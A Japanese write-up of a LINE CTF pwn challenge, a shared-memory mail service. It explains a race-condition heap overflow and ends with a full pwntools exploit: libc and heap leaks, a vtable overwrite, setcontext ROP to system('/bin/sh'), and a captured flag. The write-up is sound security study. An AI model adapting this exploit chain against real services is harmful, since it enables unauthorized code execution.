race問は解けたことがなく今回も解けなかったので、優先的に復習してみました。参照元はほぼここの内容です。いつもありがとうございます。

この問題はソースコード付きです。全部で800行くらいで、アカウントの登録やメールの送受信ができます。子プロセスがサーバの役割のManage、親プロセスがインタフェースと各種メッセージを投げる役割のServiceというクラスがそれぞれ動作していて、2つのプロセス間で共有メモリを介して処理しています。

1時間くらい眺めたところ、strcmpを使っている、memcpyの長さを共有メモリから取ってきている、あたりを見つけましたが、上手く使えそうに見えません。

2点怪しい場所を見つけました。 1点はログインのサーバ処理の以下の箇所で、ログイン名が見つからない場合に、ログイン状態やコマンドのリセットをしていません。

void Manage::ReceiveLoginAccount()
{
    if (getCmd() == LOGIN_ACCOUNT)
    {
        for (uint64_t i = 0; i < accountIds.size(); i++)
        {
            if (memory->accountIdSize > ACCOUNT_ID_MAXLEN)
            {
                error();
                return;
            }

            if (!strcmp(accountIds.at(i), memory->accountId))
            {
                usleep(100);
                ResetCommand();
                memory->isLogin = true;
                break;
            }
        }
        memory->isLoginAccountSendedDone = true;
    }
}

一度ログインすることで、任意の名前で再ログインできるようになります。(isLogintrueから変わらないため)今回特に役立ちませんでした。

もう1点は、結果的には今回のテーマだった以下の箇所です。

void Manage::ReceiveSendMessage()
{

.....

        size = countAccount(to);
        if (!size)
        {
            error();
            return;
        }

        memory->isSendMessageSendedDone = true;

        if (memory->messageSize > MESSAGE_MAXLEN)
        {
            error();
            return;
        }

        usleep(100);
 
.....

        bzero(message, MESSAGE_MAXLEN + 1);
        memcpy(message, memory->message, memory->messageSize);

        messages.push_back(mmsg);
        ResetCommand();
    }
}

これはサーバ側の、メッセージ送信コマンドを受けたときの関数です。まずアカウントの長さなどチェックした後、アカウントが存在するかどうかをcountAccountを使って調べ、そのあとで処理フラグをあげてしまいます。

その後サイズを確認し、少しスリープに入ってからmemcpyします。

処理フラグがあがるとどうなるかというと、無限ループによる待機が解除され、次のコマンドを受け付けてしまいます。

    while ((memory->isSendMessageSendedDone == false) && (memory->error == false))
        usleep(100);

あらゆるコマンドは共有メモリを使ってサーバ側にデータを渡すので、サーバ側が処理する前に次の書き換えができると、処理中の共有メモリの内容を変更することができます。

典型的なraceの形です。

難しいのは、サイズを大きくしても、コピーされるバッファの中身は伸びません。以下のように封じられています。

    size = buf.size();
    bzero(memory->message, sizeof(memory->accountId));
    memcpy(memory->message, buf.data(), (size > MESSAGE_MAXLEN) ? MESSAGE_MAXLEN : size);
    memory->messageSize = size;

buf.size()messageSizeに入る値は入力のまま入るので上限を超えられますが、memcpyでは最大値に張り付くようになっています。最大値を大きくするとヒープの範囲外書き込みができるはずですが、その中身をコントロールするのができなそうです。

またヒープのレイアウトや関数ポインタなどを眺めているうちに、UAFなのでは?という疑いをぬぐえずかなり消耗していました。

答えは共有メモリのレイアウトにありました。範囲外コピーなので、大事なのはコピー元です。メッセージの下はinboxMessageという表示に使うバッファがあります。

struct mail
{
    uint64_t userId;
    unsigned char cmd;
    bool isLogin;
    bool isCreateAccountSendedDone;
    bool isLoginAccountSendedDone;
    bool isSendMessageSendedDone;
    bool isSendDeleteMessageSendedDone;
    bool isInboxSendedDone;
    bool isServiceDone;
    bool error;
    char accountId[ACCOUNT_ID_MAXLEN + 1];
    uint64_t accountIdSize;
    char message[MESSAGE_MAXLEN + 1];
    uint64_t messageSize;
    char inboxMessage[MESSAGE_MAXLEN + 1];
    uint64_t inboxIndex;
};

inboxを先に表示して、ここにペイロードを仕込んでおくことで、超過したときにここがコピーされるようになります。

コピー先は、メッセージバッファと、直下にメールの構造体mail_messageが来るようになります。

0xbf1390:       0x0000000000000000      0x0000000000000031 
0xbf13a0:       0x00000000004056c8      0x0000000000bf0f90 // vtable, message
0xbf13b0:       0x0000000000000004      0x0000000000bf0f60 // messageSize, to 

toに適当な文字列のアドレスをあてて、その文字列でログインするようにします。vtableは消さない限りは使わないのでなんでもOKです。これでアドレスが既知のところはなんでも読めるようになりました。

書き込みがやっかいです。好きなところに書き込むためにはいくつかの工夫がいりそうですが、ヒープオーバーフローが起こった時のヒープのレイアウトを考えたくないです。no pieのpartial relroですがぐっと我慢します。

一方でメッセージは素直に共有メモリに乗るので、これを使わない手はないでしょう。このアドレスはヒープにあります。ヒープのアドレスはスタック上にあり、libcはgotリークから分かるので、environ->heap->shared memの順に同じ手でリークしていけばよいです。

最後は都合よくrdxがヒープをさしているので、setcontextを使ってheapでropします。

raceで複数回リークを要求されるときに、元のレイアウトを保ったままというのが想像できず、なかなか手が動きませんでした。おもしろい問題でした。

from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'split-window', '-h']
#context.log_level = 'debug'

TARGET = './mail_patched'
HOST = '34.146.156.91'
PORT = 10004

elf = ELF(TARGET)
def start():
	if not args.R:
		print("local")
		return process(TARGET)
		# return process(TARGET, env={"LD_PRELOAD":"./libc.so.6"})
		# return process(TARGET, stdout=process.PTY, stdin=process.PTY)
	else:
		print("remote")
		return remote(HOST, PORT)

def get_base_address(proc):
	lines = open("/proc/{}/maps".format(proc.pid), 'rb').readlines()
	for line in lines :
		if TARGET[2:] in line.split('/')[-1] :
			break
	return int(line.split('-')[0], 16)
	# return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def debug(proc, breakpoints):
	script = "handle SIGALRM ignore\n"
	PIE = get_base_address(proc)
	script += "set $base = 0x{:x}\n".format(PIE)
	for bp in breakpoints:
		script += "b *0x%x\n"%(PIE+bp)
	script += "c"
	gdb.attach(proc, gdbscript=script)

def debug_child(proc, breakpoints):
	script = "handle SIGALRM ignore\n"
	PIE = get_base_address(proc)
	script += "set $base = 0x{:x}\n".format(PIE)
	for bp in breakpoints:
		script += "b *0x%x\n"%(PIE+bp)
	script += "c"
	gdb.attach(proc.pid+1, gdbscript=script)

def dbg(val): print("\t-> %s: 0x%x" % (val, eval(val)))

PROMPT = 'off\n==================\n'
def create(name):
	r.sendlineafter(PROMPT, '0')
	sleep(0.1)
	r.sendlineafter(' id =\n', name)

def login(name):
	r.sendlineafter(PROMPT, '1')
	sleep(0.1)
	r.sendlineafter(' id =\n', name)

def send(data, to):
	r.sendlineafter(PROMPT, '2')
	r.sendlineafter('ge =\n', data)
	r.sendlineafter('om =\n', to)

def inb(idx):
	r.sendlineafter(PROMPT, '3')
	sleep(0.1)
	r.sendlineafter('ex =\n', str(idx))

def d(idx):
	r.sendlineafter(PROMPT, '4')
	sleep(0.1)
	r.sendlineafter('ex =\n', str(idx))


def overwrite(payload):
	size = 0x410 + len(payload)
	create('a')
	login('a')
	d(0)
	send(payload, 'a')
	sleep(0.1)
	inb(0)
	r.sendline('2\n!\na\n2\n{}'.format('1'*size))
	r.recvuntil('om =\n')
	r.recvuntil('om =\n')
	sleep(0.01)
	r.sendline('m')
	inb(1)
	ret = r.recvuntil('6. turn')
	if '!' in ret:
		return False
	login('m')
	return True

str_m = 0x405833
rdi = 0x00405593
initial = flat(0, elf.got.read, 0x8, str_m)
while True:
	r = start()
	try:
		if overwrite(initial) == True:
			break
		r.close()
	except:
		r.close()

inb(0)
r.recvuntil('message\n')
leak = u64(r.recvuntil('\n', True).ljust(8, '\x00'))
dbg('leak')
base = leak - 0x10dff0
dbg('base')
system = base + 0x522c0
environ = base + 0x1ef600
binsh = base + 0x1b45bd
setcontext = base + 0x54f8d

# environ
payload = flat(0, environ, 8, str_m) 
while overwrite(payload) == False:
	pass
inb(1)
r.recvuntil('message\n')
leak = u64(r.recvuntil('\n', True).ljust(8, '\x00'))

# heap
target = leak - 0x130
payload = flat(0, target, 8, str_m) 
while overwrite(payload) == False:
	pass
inb(2)
r.recvuntil('message\n')
leak = u64(r.recvuntil('\n', True).ljust(8, '\x00'))
heap = leak - 0x11ed0
p_shm = heap + 0x11eb8
dbg('heap')

# shm+1
payload = flat(0xdeadbeef, p_shm+1, 8, str_m) 
while overwrite(payload) == False:
	pass
inb(3)
r.recvuntil('message\n')
shm = u64(r.recvuntil('\n', True).ljust(8, '\x00'))
shm <<= 8
dbg('shm')

# set vtable pointer to shm
payload = flat(shm+0x40-8, 0x1111, 0x2222, str_m) 
while overwrite(payload) == False:
	pass

if args.D:
	#debug(r, [])
	#debug_child(r, [0x24b3])
	debug_child(r, [0x2c31])

# send rop
payload = flat(setcontext, 0x111, heap + 0x13c90, rdi+1, rdi, binsh, system)
send(payload, 'a')

# call vtable
d(4)

r.interactive()
r.close()
remote
[+] Opening connection to 34.146.156.91 on port 10004: Done
    -> leak: 0x7f44caa51ff0
    -> base: 0x7f44ca944000
    -> heap: 0x13b1000
    -> shm: 0x7f44cad63000
[*] Switching to interactive mode
$ cat /home/*/f*
LINECTF{An07hEr_Em41l_T0_7hE_Sh4red_1nb0x?}$